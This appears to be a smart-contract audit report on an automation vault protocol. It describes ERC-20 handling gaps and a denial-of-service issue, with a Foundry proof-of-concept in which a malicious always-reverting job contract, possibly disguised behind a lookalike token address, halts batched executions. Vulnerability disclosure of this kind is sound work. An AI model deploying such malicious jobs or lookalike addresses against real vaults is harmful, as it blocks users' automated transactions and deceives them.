ERC-20 related issues

Summary

The protocol accepts any ERC20 tokens:

> If you are integrating tokens, are you allowing only whitelisted tokens to work with the codebase or any complying with the standard? Are they assumed to have certain properties, e.g. be non-reentrant? Are there any types of weird tokens you want to integrate? Any ERC20 token could be added into the AutomationVault, and any relay could be built to accept that ERC20 as form of payment. The system is completely modular.

However, the protocol does not implement some necessary checks to handle different kind of ERC20 edge cases.

Vulnerability Detail

Handling Fee-on-transfer & rebasing token

The protocol might interact with fee-on-transfer & rebasing token, but it does not check whether the receiver got intended amount of token or not.

```
File: AutomationVault.sol
441:        } else {
442:          IERC20(_feeInfo.feeToken).safeTransfer(_feeInfo.feeRecipient,
_feeInfo.fee);
443:        }
and

File: AutomationVault.sol
130:      } else {
131:        IERC20(_token).safeTransfer(_receiver, _amount);
132:      }
```

As we can see we are just transferring the amount but not checking whether the receiver got intended fee & amount.

There should be a balance check of receiver before & after transferring tokens:

```
uint balanceBeforeTransfer = IERC20(token).balanceOf(_receiver);
IERC20(_token).safeTransfer(_receiver, _amount);
uint balanceAfterTransfer = IERC20(token).balanceOf(_receiver);
require(balanceAfterTransfer == balanceBeforeTransfer + _amount);
```

Revert on address(0) & 0 amount

This protocol uses Openzeppelin's ERC20 contract. If we see in _transfer() we can see that this function reverts if the to address is 0. Also LEND token reverts on 0 value transfer, this may create DoS in this protocol when fee for feeRecipient is 0. See this as reference. So, the AutomationVault contract does not have any check for whether the fee is 0 or not.

No return value

In this protocol the interface used for ERC20 tokens is Openzeppelin's IERC20.sol. This interface expects boolean return in transfer.

```
File: IERC20.sol
34:     /**
35:      * @dev Moves `amount` tokens from the caller's account to `to`.
36:      *
37:      * Returns a boolean value indicating whether the operation
succeeded.
38:      *
39:      * Emits a {Transfer} event.
40:      */
41:     function transfer(address to, uint256 amount) external returns
(bool);
```

However, if you see the USDT token contract you will see the token does not return any boolean on transfer.

```
    // Forward ERC20 methods to upgraded contract if this one is deprecated
    function transfer(address _to, uint _value) public whenNotPaused {
        require(!isBlackListed[msg.sender]);
        if (deprecated) {
            return
UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to,
_value);
        } else {
            return super.transfer(_to, _value);
        }
    }
```

So, transferring this token will result in revert because the interface was used is IERC20. An extensive list of ERC20 tokens which does not return boolean in transfer can be found here.

Impact

See the vulnerability details section.

Job address and jobData i.e to be called selector can be choosed by user which can resust DoS while executing a job in AutomationVault contract

Summary

As the video is showing one can choose the job address as his choice it is possible to manipulate the job in such a way so that when the function is called in that Job contract address the function will revert, and if such ExecData is passed with other good ExecDatas then it will cause DoS.

Vulnerability Detail

As mentioned video in Summary section shows we can add Job address as of our choice, and other users can use this job address in their vault. However, lets suppose a job address is returning the decimal of USDT or total supply of USDT and malicious user crafted the USDT contract address by changing few digits, 1 or 2, in the middle of the address so that if someone don't look carefully & check all digits one by one then he mistakenly will add this job in his contract, then it will result a DoS when the GelatoRelay::exec() will be called by many execData, because from GelatoRelay::exec() the call will go to AutomationVault::exec() function where the selector i.e jobData in execData will be called, as such USDT contract address does not exist the call will revert therefore all subsequent calls of execData[] will not execute which means Denial Of Service. I crafted the malicious Job contract like this:

```
contract Job4 {
  uint num = 1;

  function revertIt() public view {
    require(num == 10, 'Reverting due to DoS!');
  }
}
```

It is very simple contract which just reverts, contract with same logic like malfunctioned USDT address can be crafted so that the contract gain credibility. Here is the POC: Run this test in solidity/test/unit directory:

```
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.19;

import {Test} from 'forge-std/Test.sol';
import {IERC20} from 'openzeppelin/token/ERC20/IERC20.sol';

import {AutomationVault, IAutomationVault, EnumerableSet} from
'../../contracts/core/AutomationVault.sol';
import {GelatoRelay, IGelatoRelay, IAutomate, IGelato} from
'../../contracts/relays/GelatoRelay.sol';
import {_NATIVE_TOKEN, _ALL} from '../../utils/Constants.sol';

////  Dummy Jobs
contract Job1 {
function returnUint() public pure returns (uint) {
  return 1;
}
}
```

```
contract Job2 {
function returnUint() public pure returns (uint) {
  return 2;
}
}

contract Job3 {
function returnUint() public pure returns (uint) {
  return 3;
}
}

contract Job4 {
uint num = 1;

function revertIt() public view {
  require(num == 10, 'Reverting due to DoS!');
}
}

contract GRDoS is Test {
GelatoRelay public gelatoRelay;
AutomationVault public automationVault;
IAutomate public automate;
address public gelato;
address public feeCollector;
address public owner;
IAutomationVault.ExecData[] _execData;
IAutomationVault.JobData[] _jobData;
address caller;

Job4 job4;
Job3 job3;
Job2 job2;
Job1 job1;

function setUp() public {
  job4 = new Job4();
  job3 = new Job3();
  job2 = new Job2();
  job1 = new Job1();
  owner = vm.addr(0x12356);
  vm.deal(owner, 100 ether);
  automationVault = new AutomationVault(address(owner), _NATIVE_TOKEN); //
Depolying Automation vault
  automate = IAutomate(makeAddr('Automate'));
  vm.mockCall(address(automate),
abi.encodeWithSelector(IAutomate.gelato.selector), abi.encode(gelato));
  vm.mockCall(gelato,
abi.encodeWithSelector(IGelato.feeCollector.selector),
abi.encode(feeCollector));
  gelatoRelay = new GelatoRelay(automate); // Deploying gelato relay
  address[] memory callers = new address[](1);
  caller = callers[0] = vm.addr(0x456);       // Adding only 1 relayCaller,
```

```
1 caller is enough for our test

  IAutomationVault.JobData[] memory jobData = generateJobData();
  vm.prank(owner);    // Owner adding gelato relay to the automationVault
with callers[] & jobData[]
  automationVault.addRelay(address(gelatoRelay), callers, jobData);
}

function test_DoSWhileExecInGelato(uint _fee, address _feeToken) public {
  vm.assume(address(_feeToken) != address(0));
  vm.assume(_fee == 10);
  vm.mockCall(
    address(automate),
    abi.encodeWithSelector(IAutomate.getFeeDetails.selector),
    abi.encode(_fee, _feeToken)
  );
  generateExecData();
  vm.prank(caller);   // Caller calling the GelatoRelay::exec()
  gelatoRelay.exec(automationVault, _execData);
}

////////////////////////////////    HELPER FUNCTIONS
//////////////////////////////

function generateExecData() public {
  _execData.push(
    IAutomationVault.ExecData({job: address(job4), jobData:
abi.encodeWithSelector(job4.revertIt.selector)})
  );
  _execData.push(
    IAutomationVault.ExecData({job: address(job2), jobData:
abi.encodeWithSelector(job2.returnUint.selector)})
  );
  _execData.push(
    IAutomationVault.ExecData({job: address(job3), jobData:
abi.encodeWithSelector(job3.returnUint.selector)})
  );
  _execData.push(
    IAutomationVault.ExecData({job: address(job1), jobData:
abi.encodeWithSelector(job1.returnUint.selector)})
  );
}

function generateJobData() public returns (IAutomationVault.JobData[]
memory) {
  bytes4[] memory selectors1 = new bytes4[](1);
  bytes4[] memory selectors2 = new bytes4[](1);
  bytes4[] memory selectors3 = new bytes4[](1);
  bytes4[] memory selectors4 = new bytes4[](1);
  selectors1[0] = job1.returnUint.selector;
  selectors2[0] = job2.returnUint.selector;
  selectors3[0] = job3.returnUint.selector;
  selectors4[0] = job4.revertIt.selector;
  _jobData.push(IAutomationVault.JobData({job: address(job1),
```

```
functionSelectors: selectors1}));
  _jobData.push(IAutomationVault.JobData({job: address(job2),
functionSelectors: selectors2}));
  _jobData.push(IAutomationVault.JobData({job: address(job3),
functionSelectors: selectors3}));
  _jobData.push(IAutomationVault.JobData({job: address(job4),
functionSelectors: selectors4}));

  return _jobData;
}
}
```

Run this test using: `forge test --mt test_DoSWhileExecInGelato -vvvv`

Logs:

```
...........
[248397] GRDoS::test_DoSWhileExecInGelato(10,
0x0000000000000000000000000000000000000001)
    ├─ [0] VM::assume(true) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assume(true) [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::mockCall(Automate:
[0x3D92a403fF55A6407CCAD30410D293F1375b5D10], 0xb810c636,
0x000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000001)
    │   └─ ← [Return]
    ├─ [0] VM::prank(0x93BDBe2c9f0F5cec59175C51D0a39fAee42A4a6e)
    │   └─ ← [Return]
    ├─ [18549] GelatoRelay::exec(AutomationVault:
[0xc7183455a4C133Ae270771860664b6B7ec320bB1], [ExecData({ job:
0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, jobData: 0x91755cb7 }),
ExecData({ job: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, jobData:
0x30bc6db2 }), ExecData({ job: 0x2e234DAe75C793f67A35089C9d99245E1C58470b,
jobData: 0x30bc6db2 }), ExecData({ job:
0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, jobData: 0x30bc6db2 })])
    │   ├─ [0] Automate::getFeeDetails() [staticcall]
    │   │   └─ ← [Return] 10, 0x0000000000000000000000000000000000000001
    │   ├─ [11971]
AutomationVault::exec(0x93BDBe2c9f0F5cec59175C51D0a39fAee42A4a6e,
[ExecData({ job: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, jobData:
0x91755cb7 }), ExecData({ job: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a,
jobData: 0x30bc6db2 }), ExecData({ job:
0x2e234DAe75C793f67A35089C9d99245E1C58470b, jobData: 0x30bc6db2 }),
ExecData({ job: 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, jobData:
0x30bc6db2 })], [FeeData({ feeRecipient:
0x0000000000000000000000000000000000000000, feeToken:
0x0000000000000000000000000000000000000001, fee: 10 })])
    │   │   ├─ [2334] Job4::revertIt()
    │   │   │   └─ ← [Revert] revert: Reverting due to DoS!
    │   │   └─ ← [Revert] AutomationVault_ExecFailed()
```

```
    │   └─ ← [Revert] AutomationVault_ExecFailed()
    └─ ← [Revert] AutomationVault_ExecFailed()
```

As you can see, the revert reason is : `revert: Reverting due to DoS!` means our malicious job contract is responsible for this revert.

Impact

DoS, all subsequent functionSelectors in jobData[] will not be called.